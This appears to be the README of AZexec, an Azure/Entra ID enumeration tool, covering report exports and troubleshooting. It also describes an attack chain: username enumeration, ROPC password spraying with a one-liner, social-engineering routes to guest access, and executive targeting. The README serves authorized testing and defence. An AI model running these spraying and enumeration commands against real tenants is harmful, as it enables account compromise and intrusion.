.\azx.ps1 vuln-list -ExportPath "Phase2-Vulnerabilities.html"Create formatted reports for compliance reviews:
.\azx.ps1 pass-pol -ExportPath "Compliance-PasswordPolicies.html"
.\azx.ps1 roles -ExportPath "Compliance-PrivilegedAccounts.html"
.\azx.ps1 sessions -Hours 168 -ExportPath "Compliance-SignInActivity-7Days.html"- Web Browser: Simply double-click the
.htmlfile to open in your default browser - Export to PDF: Use browser print functionality (Ctrl+P) and select "Save as PDF"
- Share: Send HTML file via email or upload to documentation platforms
- Archive: Store alongside CSV/JSON exports for complete documentation
HTML reports automatically highlight security-critical findings:
| Color | Meaning | Examples |
|---|---|---|
| π΄ Red | HIGH RISK | Privileged roles, high-risk permissions, critical vulns |
| π‘ Yellow | MEDIUM RISK | Password-only auth, ROPC-enabled apps, warnings |
| π’ Green | NORMAL | Standard users, certificate auth, compliant configs |
| π΅ Cyan | INFO | General information, standard data |
| βͺ Gray | LOW/DISABLED | Disabled accounts, inactive items |
Generate multiple formats for different use cases:
# CSV for spreadsheet analysis
.\azx.ps1 hosts -ExportPath devices.csv
# JSON for automation/parsing
.\azx.ps1 hosts -ExportPath devices.json
# HTML for reporting and documentation
.\azx.ps1 hosts -ExportPath devices.html.\azx.ps1 hosts -Filter windows -ShowOwners -ExportPath windows-devices.htmlStatistics Included:
- Total Devices
- Windows Devices
- Azure Entra ID Joined
- Hybrid Joined
- Compliant Devices
- Enabled Devices
.\azx.ps1 sp-discovery -ExportPath sp-analysis.htmlStatistics Included:
- Total Service Principals
- Enabled Service Principals
- Password-Only SPNs (HIGH RISK) β Highlighted in red
- SPNs with App Role Assignments
- Managed Identities
- OAuth2 Permission Grants
.\azx.ps1 roles -ExportPath role-audit.htmlStatistics Included:
- Total Active Directory Roles
- Total Role Assignments
- Privileged Role Assignments (HIGH RISK) β Highlighted in red
- User Assignments
- Group Assignments
- Service Principal Assignments
- PIM Eligible Assignments
.\azx.ps1 sessions -Hours 24 -ExportPath active-sessions.htmlStatistics Included:
- Total Sign-in Events
- Unique Users
- Successful Sign-ins
- Failed Sign-ins
- Risky Sign-ins (HIGH RISK) β Highlighted in red
- MFA Required Sign-ins
- Time Range (Hours)
-
Use Descriptive Filenames: Include date, client name, and content type
.\azx.ps1 roles -ExportPath "2025-01-15_ContosoCorp_PrivilegedRoles.html"
-
Generate Multiple Formats: Keep CSV/JSON for data processing, HTML for reporting
.\azx.ps1 sp-discovery -ExportPath spns.json .\azx.ps1 sp-discovery -ExportPath spns.html
-
Archive Reports: Store HTML reports alongside other documentation
$date = Get-Date -Format "yyyy-MM-dd" .\azx.ps1 vuln-list -ExportPath "reports/$date-vulnerabilities.html"
-
Review in Browser: HTML reports are best viewed in modern browsers (Chrome, Edge, Firefox)
-
Convert to PDF: Use browser print-to-PDF for permanent archival
Open .html β Press Ctrl+P β Destination: Save as PDF
- The organization HAS restricted guest permissions (good security!)
- Guest users cannot access the requested resource
- This means the org is not vulnerable to guest enumeration
- Try with lower scopes:
-Scopes "User.Read"
This is the desired security posture. It means:
- External collaboration is enabled (guests can sign in)
- But guest permissions are properly restricted
- The organization has followed security best practices
- This is normal and expected in properly configured tenants
- Most organizations restrict Device.Read.All from guests
- Try user/group enumeration which is more commonly allowed:
Get-MgUser -All
Get-MgGroup -AllLook for these indicators:
- β Guest login successful
- β Can enumerate users/devices without errors
- β Can see detailed properties (job titles, departments, etc.)
- β Can see group memberships
- β If you get "Access Denied" = org is properly secured
- The organization has disabled Resource Owner Password Credential (ROPC) flow
- This is a good security practice that prevents password spray attacks via this method
- Try using device code flow or interactive authentication instead
- The target organization has security controls in place
- Verify the domain is correct
- Check if usernames require the full UPN format (
[email protected]) - The passwords may genuinely be incorrect
- ROPC may be blocked by Conditional Access policies
- This is a successful credential test - the password is correct!
- MFA is blocking the login, but credentials are valid
- This indicates the account is protected by MFA (good for the target)
- For red team: note these as "valid creds with MFA" for further analysis
- Too many failed authentication attempts have locked the account
- Be careful with password spray - implement proper delays
- This may indicate security controls or previous attack activity
- Wait before retrying to avoid permanent lockout
- Verify the domain spelling
- Try using the
.onmicrosoft.comdomain variant - The domain may not be an Azure/Entra tenant
- You must specify at least one input method for usernames
- Use
-Usernamefor single user,-UserFilefor file input, or-CommonUsernamesfor common names - Domain can be omitted and will be auto-detected from your current user context
- The GetCredentialType API may throttle requests if too many are made too quickly
- The tool includes a 50ms delay between requests
- If you encounter throttling, try checking smaller batches of usernames
- The
ThrottleStatusfield in the response indicates if throttling is occurring
- Verify the path to your username file is correct
- Use absolute paths or paths relative to the current directory
- This is expected behavior if the usernames don't exist in the tenant
- Verify you're using the correct domain name (or let it auto-detect)
- Try the
-CommonUsernamesflag to test with known common usernames - Check if the domain is correct using:
.\azx.ps1 tenant -Domain example.com
- The tool couldn't automatically determine your domain
- Manually specify the domain using:
-Domain example.com - Ensure you're logged in with a domain account (not a local account)
- Verify the domain name is correct
- Ensure you have internet connectivity
- Check if the domain is actually an Azure/Entra tenant
- Some domains may not have public OpenID configuration endpoints
- Verify the domain spelling
- Try using the .onmicrosoft.com domain variant
- The domain may not be federated with Azure/Entra ID
- The tool couldn't automatically determine your domain
- Manually specify the domain using:
.\azx.ps1 tenant -Domain example.com - Ensure you're logged in with a domain account (not a local account)
The script will automatically install the module. If installation fails:
Install-Module Microsoft.Graph -Scope CurrentUser -Force- Ensure you have internet connectivity
- Check if your organization allows Microsoft Graph API access
- Verify you have the necessary Azure/Entra ID permissions
- Verify your account has Device.Read.All permissions
- Check if your filter criteria is too restrictive
- Ensure devices exist in the tenant
If you encounter permission errors:
- Request Device.Read.All permissions from your Azure AD administrator
- For owner enumeration, you may need Directory.Read.All permissions
- Verify your account has Group.Read.All or Directory.Read.All permissions
- Guest users may have restricted access to group enumeration
- Check if your organization restricts guest user permissions
- This may indicate proper security configuration (guest users restricted)
- Try with a member account to confirm groups exist
- Check guest permission settings in Azure AD
- The organization has properly restricted guest permissions (good security!)
- Guest users cannot access group information
- This is the recommended security posture
- You may be able to see groups with lower scopes or as a member user
- Using
-ShowOwnersflag makes additional API calls for each group - For large organizations, this can take significant time
- Verify your account has Application.Read.All or Directory.Read.All permissions
- Guest users may have restricted access to application enumeration
- Check if your organization restricts guest user permissions to applications
- This may indicate restricted guest permissions (good security practice)
- Try with a member account to confirm applications exist
- Some organizations hide application registrations from non-admin users
For full application enumeration, you need:
- Application.Read.All: Read all application registrations and service principals
- Directory.Read.All: Read directory data (alternative permission)
- Guest users typically need explicit permission grants for application access
- Yellow entries: Password-only credentials or ROPC-enabled (security risk)
- Green entries: Certificate-based authentication (secure configuration)
- Verify your account has Application.Read.All or Directory.Read.All permissions
- Guest users may have restricted access to service principal enumeration
- Check if your organization restricts guest user permissions to service principals
- The command will continue with limited permission data
- For full permission discovery, you need:
- Application.Read.All: Required for reading service principals and applications
- Directory.Read.All: Required for reading directory data
- AppRoleAssignment.ReadWrite.All: Optional (use
-IncludeWritePermissionsflag if needed)- Note: Script only performs read operations; this permission is typically unnecessary
- Some organizations restrict access to permission grant information
- This may indicate restricted guest permissions (good security practice)
- Try with a member account to confirm service principals exist
- Some organizations hide service principals from non-admin users
For full service principal discovery, you need:
- Application.Read.All: Read all service principals and applications (required)
- Directory.Read.All: Read directory data (required)
- AppRoleAssignment.ReadWrite.All: Optional write permission (use
-IncludeWritePermissionsflag)- Script only performs read operations; this permission is typically unnecessary
- By default, only read permissions are requested (principle of least privilege)
- Guest users typically need explicit permission grants for service principal access
- Yellow entries: Password-only credentials (security risk)
- Green entries: Service principals with permissions and proper authentication
- DarkGray entries: Disabled service principals
- High appRoles/delegated counts: Potentially over-privileged service principals
- Owners = 0: Orphaned service principals that may be abandoned
- Security warnings: Automatically flagged for password-only credentials and high-risk permissions
- Service principal discovery involves multiple phases:
- Enumerate all service principals
- Retrieve app role assignments for all SPNs
- Retrieve OAuth2 permission grants for all SPNs
- Retrieve owners for each service principal
- For large organizations with 1000+ service principals, this can take several minutes
- The tool displays progress indicators for each phase
- Consider using
-ExportPathto save results for offline analysis - Dark gray entries: No credentials (may use managed identity)
- Security warnings at the end summarize password-only configurations
- Enumerating applications and service principals may take time in large organizations
- Service principals especially can number in the thousands (includes managed identities)
- Consider using
-ExportPathand analyzing results offline - JSON export provides the most detailed information for analysis
- Consider running without
-ShowOwnersfirst, then target specific groups
- Verify you have Organization.Read.All and Directory.Read.All permissions
- Guest users typically have limited access to organizational settings
- Request appropriate permissions or use a member account
- Requires Policy.Read.All permissions
- Guest users typically cannot view security policies
- This is expected behavior for guest accounts
- Use a member account with appropriate permissions
- Requires Policy.Read.All permissions
- Guest users are typically blocked from viewing CA policies (by design)
- This is a security feature to prevent policy enumeration by external users
- Member accounts with appropriate permissions can view these policies
- Some policy information requires elevated permissions
- Basic password policies may be visible with Organization.Read.All
- Full security posture assessment requires Policy.Read.All
- Guest users will see limited information (expected behavior)
- This is normal and expected behavior
- Conditional Access policies are considered sensitive security information
- Organizations properly restrict this from guest users
- If you see this message as a guest, the org has good security practices
This project is licensed under the GNU General Public License v3.0 - see the LICENSE file for details.
Copyright (C) 2025 Logisek
https://github.com/Logisek/AZexec
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
Contributions, issues, and feature requests are welcome!
This tool is provided for legitimate security testing, research, and administrative purposes only.
Important Guidelines:
-
Authorization Required: Always obtain explicit written authorization before testing any Azure/Entra ID tenant that you do not own.
-
Guest User Enumeration: The guest user enumeration techniques demonstrated in this tool are for:
- Red team engagements with proper authorization
- Security assessments to test organizational defenses
- Educational purposes to understand Azure security
- Defensive research to improve security posture
-
Responsible Disclosure: If you discover vulnerabilities during authorized testing, follow responsible disclosure practices.
-
Legal Compliance: Ensure your activities comply with all applicable laws and regulations in your jurisdiction.
-
Ethical Use: Do not use this tool for unauthorized access, data theft, or any malicious activities.
The authors assume no liability for misuse or damage caused by this tool. Users are solely responsible for ensuring proper authorization and legal compliance.
Logisek
- GitHub: @Logisek
- Project Link: https://github.com/Logisek/AZexec
- Inspired by the netexec tool
- Built with Microsoft Graph PowerShell SDK
- Guest user enumeration research inspired by years of Azure security assessments revealing this consistently overlooked vulnerability
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PHASE 1: EXTERNAL RECONNAISSANCE (No Authentication) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β .\azx.ps1 tenant -Domain target.com β
β .\azx.ps1 users -Domain target.com -CommonUsernames β
β .\azx.ps1 guest -Domain target.com # Check B2B config β
β β
β Output: Tenant ID, valid usernames, federation status β
ββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββ
β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PHASE 1b: GUEST LOGIN TESTING (Like nxc smb -u 'a' -p '') β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β .\azx.ps1 guest -Domain target.com -UserFile users.txt \ β
β -Password 'Summer2024!' β
β β
β Output: Valid creds, MFA status, locked accounts β
ββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββ
β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PHASE 2: OBTAIN GUEST ACCESS (Social Engineering) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β - Register as "vendor" or "consultant" β
β - Compromise partner organization β
β - Leaked credentials from breaches β
β - Use valid creds from Phase 1b (if MFA not required) β
β β
β Result: [email protected] credentials β
ββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββ
β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PHASE 3: GUEST ENUMERATION (Low-Noise Reconnaissance) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β .\azx.ps1 hosts -ShowOwners -ExportPath loot.json β
β .\azx.ps1 groups -ExportPath groups.json β
β .\azx.ps1 pass-pol -ExportPath policy.json β
β Get-MgUser -All | Export-Csv users.csv β
β β
β Detection Risk: LOW (appears as normal collaboration) β
ββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββ
β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PHASE 4: ANALYSIS & TARGET IDENTIFICATION (Offline) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β - Identify privileged accounts (admins, global admins) β
β - Map organizational structure β
β - Find non-compliant devices β
β - Locate high-value targets (executives, finance) β
β - Identify legacy/unpatched systems β
ββββββββββββββββββββββββ¬βββββββββββββββββββββββββββββββββββββββ
β
β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β PHASE 5: TARGETED ATTACK β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β - Spear phishing campaigns β
β - Password spraying β
β - Credential stuffing β
β - Exploitation of vulnerable devices β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
| Objective | Command | Authentication | NetExec Equivalent |
|---|---|---|---|
| Discover tenant | .\azx.ps1 tenant -Domain target.com |
β None | nxc smb --enum |
| Validate usernames | .\azx.ps1 users -Domain target.com -CommonUsernames |
β None | nxc smb --users |
| Enumerate user profiles | .\azx.ps1 user-profiles -ExportPath users.csv |
β Guest/Member | nxc smb --rid-brute |
| Test null login | .\azx.ps1 guest -Domain target.com -Username user -Password '' |
β None | nxc smb -u 'a' -p '' |
| Password spray | .\azx.ps1 guest -Domain target.com -UserFile users.txt -Password 'Pass123' |
β None | nxc smb -u users.txt -p 'Pass123' |
| Username enum + spray | See Complete Password Spray Attack | β None | nxc smb -u users.txt -p 'Pass123' |
| Guest vuln scan | .\azx.ps1 guest-vuln-scan -ExportPath report.json |
β‘ Hybrid | nxc smb --check-null-session |
| Enumerate devices | .\azx.ps1 hosts (login with guest creds) |
β Guest | nxc smb --hosts |
| Enumerate groups | .\azx.ps1 groups |
β Guest/Member | nxc smb --groups |
| Password policies | .\azx.ps1 pass-pol |
β Guest/Member | nxc smb --pass-pol |
| Enumerate roles | .\azx.ps1 roles -ExportPath roles.csv |
β Member | - |
| Review CA policies | .\azx.ps1 ca-policies -ExportPath policies.json |
β Member | - |
| Full device enum | .\azx.ps1 hosts -ShowOwners -ExportPath out.json |
β Guest/Member | - |
| Test guest perms | Get-MgUser -Top 10 (after connecting) |
β Guest | - |
| Enumerate all users | .\azx.ps1 user-profiles |
β Guest/Member | - |
| Show available commands | .\azx.ps1 help |
β None | nxc --help |
Tip: Add -Disconnect to any authenticated command to automatically disconnect from Microsoft Graph after execution:
.\azx.ps1 hosts -ExportPath devices.csv -Disconnect
.\azx.ps1 sp-discovery -ExportPath sp.json -Disconnect| Check | Command | What to Look For |
|---|---|---|
| Guest user settings | Get-MgPolicyAuthorizationPolicy | Select -ExpandProperty GuestUserRoleId |
Should be 2af84b1e-32c8-42b7-82bc-daa82404023b (most restrictive) |
| List all guests | Get-MgUser -Filter "userType eq 'Guest'" | ft DisplayName,UserPrincipalName |
Review and remove unnecessary guests |
| Guest API activity | Check Azure AD Audit Logs β Filter by guest users and Microsoft Graph | Look for unusual enumeration patterns |
| Guest sign-ins | Check Azure AD Sign-in Logs β Filter by guest users | Monitor for suspicious login locations/times |
AZexec provides a two-phase approach to password spraying that mimics NetExec's workflow:
Phase 1: Username Enumeration (GetCredentialType API)
# Enumerate valid usernames using GetCredentialType API (no authentication required)
.\azx.ps1 users -Domain target.com -CommonUsernames -ExportPath valid-users.csvPhase 2: Password Spraying (ROPC Authentication)
# Extract just the valid usernames from CSV
$validUsers = Import-Csv valid-users.csv | Where-Object { $_.Exists -eq 'True' } | Select-Object -ExpandProperty Username
# Create a username file for spraying
$validUsers | Out-File -FilePath validated-users.txt
# Perform password spray with a single password
.\azx.ps1 guest -Domain target.com -UserFile validated-users.txt -Password 'Summer2024!' -ExportPath spray-results.jsonOne-Liner Workflow:
# Quick spray with common usernames
.\azx.ps1 users -Domain target.com -CommonUsernames -ExportPath valid.csv; $validUsers = (Import-Csv valid.csv | Where-Object { $_.Exists -eq 'True' }).Username | Out-File temp-users.txt; .\azx.ps1 guest -Domain target.com -UserFile temp-users.txt -Password 'Winter2024!' -ExportPath spray.json; Remove-Item temp-users.txtWhy Two Separate Commands?
The GetCredentialType API (used by users command) only validates username existence - it doesn't test passwords. This is by design:
- Phase 1 (
users): Uses Microsoft's public GetCredentialType endpoint to check if usernames exist - Phase 2 (
guest): Uses ROPC (Resource Owner Password Credentials) OAuth2 flow to test actual authentication
This separation provides several benefits:
- Stealth: Username enumeration doesn't trigger authentication logs
- Efficiency: Only spray against validated usernames (avoid account lockouts on non-existent users)
- Flexibility: Use different password lists or techniques between phases
- Safety: Validate targets before attempting authentication (reduces noise and lockout risk)
NetExec Equivalent:
# Traditional NetExec workflow
nxc smb 192.168.1.0/24 --users # Enumerate users
nxc smb 192.168.1.0/24 -u users.txt -p 'Password123' # Password spray
# AZexec equivalent
.\azx.ps1 users -Domain target.com -CommonUsernames -ExportPath users.csv
.\azx.ps1 guest -Domain target.com -UserFile users.txt -Password 'Password123'Note: This tool requires PowerShell 7+ and appropriate Azure/Entra ID permissions. Always ensure you have proper authorization before conducting any enumeration activities.
